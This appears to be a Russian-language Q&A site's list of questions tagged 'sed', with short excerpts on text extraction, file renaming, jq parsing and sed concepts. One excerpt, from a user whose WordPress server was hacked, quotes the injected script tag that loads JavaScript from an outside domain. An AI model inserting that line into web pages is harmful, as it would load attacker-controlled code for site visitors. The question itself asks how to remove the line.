Вопросы с тегом «sed»

Sed (Stream EDitor) - редактор командной строки для среды POSIX. Sed обрабатывает один или несколько файлов в соответствии со сценарием редактирования и записывает результаты в стандартный вывод. Созданный в Bell Labs, он существует с середины 70-х годов.

8
Как извлечь строку по шаблону с помощью grep, regex или perl
У меня есть файл, который выглядит примерно так: <table name="content_analyzer" primary-key="id"> <type="global" /> </table> <table name="content_analyzer2" primary-key="id"> <type="global" /> </table> <table name="content_analyzer_items" primary-key="id"> <type="global" /> </table> Мне нужно извлечь что-нибудь в следующих кавычках name=, то есть content_analyzer, content_analyzer2и content_analyzer_items. Я делаю это в системе Linux, поэтому решение с использованием sed, …


12
Использование sed для массового переименования файлов
Задача Измените эти имена файлов: F00001-0708-RG-биаслюйда F00001-0708-CS-akgdlaul F00001-0708-VF-hioulgigl к этим именам файлов: F0001-0708-RG-биаслюйда F0001-0708-CS-akgdlaul F0001-0708-VF-hioulgigl Код оболочки Тестировать: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' Для выполнения: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh Мой вопрос Я не понимаю код sed. Я понимаю, что это за команда подстановки $ sed 's/something/mv' означает. …
87 bash  shell  sed  file-rename 

2
Используйте jq для анализа строки JSON
Я пытаюсь jqразобрать структуру JSON, например: { "a" : 1, "b" : 2, "c" : "{\"id\":\"9ee ...\",\"parent\":\"abc...\"}\n" } То есть элемент в JSON - это строка с экранированным json. Итак, у меня есть что-то вроде $ jq [.c] myFile.json | jq [.id] Но это сбой с jq: error: Cannot index …
87 json  string  sed  escaping  jq 

6
Как удалить все строки в файле, начиная с совпадающей строки?
У меня есть файл, состоящий из нескольких строк текста: The first line The second line The third line The fourth line У меня есть строка, которая является одной из строк: The second line Я хочу удалить строку и все строки после нее в файле, чтобы он удалил The third lineи …
87 linux  bash  sed 

20
Рекурсивно переименовывать файлы с помощью find и sed
Я хочу просмотреть кучу каталогов и переименовать все файлы, которые заканчиваются на _test.rb, чтобы вместо этого заканчиваться на _spec.rb. Я так и не понял, что делать с bash, поэтому на этот раз подумал, что приложу некоторые усилия, чтобы добиться этого. Я пока что не понял, мои лучшие усилия: find spec …
87 bash  scripting  sed  find  replace 

3
Концепция `` удерживаемого пространства '' и `` пространства шаблонов '' в sed
Меня смущают две концепции в sed: пространство для хранения и пространство шаблонов. Может кто-нибудь помочь им объяснить? Вот отрывок из руководства: h H Copy/append pattern space to hold space. g G Copy/append hold space to pattern space. n N Read/append the next line of input into the pattern space. Эти …
86 linux  sed 


7
Как заменить всю строку, используя sed или, возможно, grep
Таким образом, весь мой сервер был взломан или возникла проблема с вредоносным ПО. мой сайт основан на WordPress, и большинство сайтов, размещенных на моем сервере, основаны на WordPress. Хакер добавил эту строку кода в каждый файл и в базу данных <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Я поискал через grep используя grep -r …
10 bash  shell  sed  grep 
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.